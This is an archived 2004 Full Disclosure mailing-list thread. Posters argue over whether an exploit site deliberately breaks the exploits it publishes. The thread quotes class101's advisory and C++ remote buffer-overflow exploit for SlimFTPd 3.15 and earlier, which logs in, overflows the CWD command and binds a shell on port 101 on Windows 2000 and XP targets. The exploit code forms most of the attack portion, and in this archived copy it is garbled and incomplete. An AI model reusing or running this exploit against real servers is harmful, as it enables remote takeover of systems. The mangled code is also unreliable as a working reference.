Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Re: [Advisory + Exploit] SlimFTPd <= 3.15
From: Gregory Gilliss <ggilliss () netpublishing com>
Date: Thu, 11 Nov 2004 12:08:10 -0800

Hackers posting defused 'sploits? Oh dear...

If so, this is an old game. 2600 The Hacker Quarterly always used to screw
up the sploits and diagrams that they published. It was a routine to bitch
about how Emmanuel Goldstein (AKA Eric Corley) would "Goldstein-ize" the
published hacks so that they would not function properly. Speculation was
that the reason for this was to avoid strict product liability lawsuits in
the US.

So if k-otik has decided to play CYA, maybe they perceive some
liability a la Microsoft's bounty on virus writers.

But, hey, you're bad - figure out how they fudged it. Otherwise you're
a k1dd13 and you don't need to play with dangerous crap like 'sploits.

-- G

On or about 2004.11.11 09:38:48 +0000, ElviS .de (elvi52001 () yahoo com) said:

hey kiddy, if you dont know how to modify exploits and make them work...i think you are the real asshole ;-)

ren hoek <skodliv () gmail com> wrote:
so what youre saying is that k-otik actually fucks up the exploits
before posting them? which i actually find to be plausible since a
lot of the exploits posted there has not been functional


On Wed, 10 Nov 2004 15:27:54 +0100, class 101 wrote:

My nice words again are to kotik biatch.
clean code on my website.


SlimFTPd <= 3.15, Remote Buffer Overflow Exploit v0.1.
Bind a shellcode to the port 101.

Full disclosure and exploit 
by class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
10 november 2004

Thanx to HDMoore and Metasploit.com for their kickass ASM work.


Homepage - http://www.whitsoftdev.com/slimftpd/

SlimFTPd is a fully standards-compliant FTP server implementation with an
virtual file system.It is extremely small, but don't let its file size
deceive you:
SlimFTPd packs a lot of bang for the kilobyte. It is written in pure Win32
C++ with
no external dependencies and no messy installer. SlimFTPd is a fully
application that runs as a system service on Windows 98/ME or Windows
NT/2K/XP, and
it comes with a tool to simplify its installation or uninstallation as a
system service.
Once the service is started, SlimFTPd runs quietly in the background.
It reads its configuration from a config file in the same folder as the
and it outputs all activity to a log file in the same place.
The virtual file system allows you to mount any local drive or path to any
path on the server. This allows you to have multiple local drives
represented on the 
server's virtual file system or just different folders from the same drive.
SlimFTPd allows you to set individual permissions for server paths. 
Open slimftpd.conf in your favorite text editor to set up SlimFTPd's
The format of SlimFTPd's config file is similar to Apache Web Server's for
familiar with Apache.


A simple buffer overflow when a large buffer is passed to different
CWD, STOR, MKD, STAT etc.., nothing more, the attacker need to be logged
read the code for further instructions.


Actually none, the vendor is contacted, is warning users, and working on a


Ok I'll try to explain what happen in this one with my crap english...
As you can notice , I havent used as usual a CALL/JMP offset address from a
Why ? Because if you debug, you will notice that we are able to overwrite 
only 3/4 bytes of EIP maximum due to a buffer length restriction in the ftp
server (~500bytes).
The 4th byte will always point to 00. But this 00 is enough helpful to fake
there my
magic ret ;p
Ok once you understand what is this magic ret , I think that you
understanded all there...


class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
K-OTik.com displaying the half part of codes they receive
(also some other friends to me noticed it..., another ie: 
JPEG Exploits, 6 or 7 mirrors displayed, poor assh0les...)


#include "winsock2.h"
#include "fstream.h"

char scode[] = "\xEB"

char cmd[]="CWD ";
char call[]="\xb2\x06\x40"; // Magicret ;p

#pragma comment(lib, "ws2_32")

void usage(char* us);
WSADATA wsadata;
void ver();

static char payload[5000];

int main(int argc,char *argv[])
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error:
"<> char *login=argv[2], *passwd=argv[3], data[10], recvbuf2[100],
recvbuf[100], rootbuf[100], logbuf[100], logbuf2[100], pdbuf[100],
int ip=htonl(inet_addr(argv[4])), sz, a, sizeA, lgth, port;
if (argc==6){port=atoi(argv[5]);}
else port=21;
char *os;
if (atoi(argv[1]) == 1){os="Win2k based system";}
if (atoi(argv[1]) == 1){os="Win2k based system";}
if (atoi(argv[1]) == 2){os="WinXP based system";}
if (atoi(argv[1]) == 2){os="WinXP based system";}
struct fd_set mask;
struct timeval timeout; 
struct sockaddr_in server;
if (s==INVALID_SOCKET){ cout<<"[+] socket() error:
"<> cout<<"[+] target: "<> server.sin_family=AF_INET;
WSAConnect(s,(struct sockaddr
case -1: {cout<<"[+] select() error:
"<> case 0: {cout<<"[+] connect() error:
"<> default:
cout<<"[+] connected, login in process..."<> Sleep(100);recv(s,recvbuf2,100,0);
if (!strstr(recvbuf2,"220")){cout<<"[+] this is not an ftp server,
quitting..."<> strcpy(logbuf,"USER ");strcpy(logbuf2,login);strcpy(pdbuf,"PASS
");strcpy(pdbuf2,passwd);strcpy(rootbuf,"STOU AUX");strcpy(data,"\r\n");
if (send(s,logbuf,strlen(logbuf),0)==SOCKET_ERROR) { cout<<"[+] Error
during the login processus, check the ftp."<> if (send(s,logbuf2,strlen(logbuf2),0)==SOCKET_ERROR) { cout<<"[+] 
during the login processus, check the ftp."<> if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error 
the login processus, check the ftp."<> Sleep(1000);
if (send(s,pdbuf,strlen(pdbuf),0)==SOCKET_ERROR) { cout<<"[+] Error
during the login processus, check the ftp."<> if (send(s,pdbuf2,strlen(pdbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error
during the login processus, check the ftp."<> if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error 
the login processus, check the ftp."<> Sleep(1000);
if (recv(s,recvbuf,200,0)==SOCKET_ERROR){ cout<<"[+] Error during the
login processus, check the ftp."<> if (strstr(recvbuf,"530")){ cout<<"[+] wrong login or
passwd"<> cout<<"[+] login success!"<> exploit string"<> if (atoi(argv[1]) == 1){lgth=500+1;}
if (atoi(argv[1]) == 2){lgth=498+1;}
for (a=0;a> strcat(payload,call);
if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+]
sending error, the server prolly rebooted."<> if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] sending
error, the server prolly rebooted."<> Sleep(1000);
cout<<"[+] size of payload: "<> cout<<"[+] payload send, connect the port 101 to get a shell."<> return 0;
return 0;

void usage(char* us) 
cout<<"USAGE: 101_slim.exe Target Login Pass Ip Port\n"<> cout<<"TARGETS: "<> cout<<" [+] 1. Win2k SP4 English Pro 
(*)"<> cout<<" [+] 1. Win2k SP4 English Server (*)"<> cout<<" [+] 1. Win2k all others "<> cout<<" [+] 2. WinXP SP1 
English Pro (*)"<> cout<<" [+] 2. WinXP SP1 French Pro (*)"<> cout<<" [+] 2. WinXP all others "<> cout<<"NOTE: "<> 
cout<<" The port 21 is default if no port are specified"<> cout<<" The exploit bind a shellcode to the port 101"<> 
cout<<" A wildcard (*) mean Tested."<> return;
void ver()
cout<> cout<<" 
"<> cout<<" 
===================================================[v0.1]===="<> cout<<" ========SlimFTPd, Tiny FTP Server for 
Windows <=
v3.15======="<> cout<<" =============Remote Buffer Overflow
Exploit=================="<> cout<<" ====coded by class101===========[DFind.kd-team.com
2004]====="<> cout<<" 
============================================================="<> cout<<" 
"<> }

smile tomorrow will be worse

Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
Gregory A. Gilliss, CISSP                              E-mail: greg () gilliss com
Computer Security                             WWW: http://www.gilliss.com/greg/
PGP Key fingerprint 2F 0B 70 AE 5F 8E 71 7A 2D 86 52 BA B7 83 D9 B4 14 0E 8C A3

Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]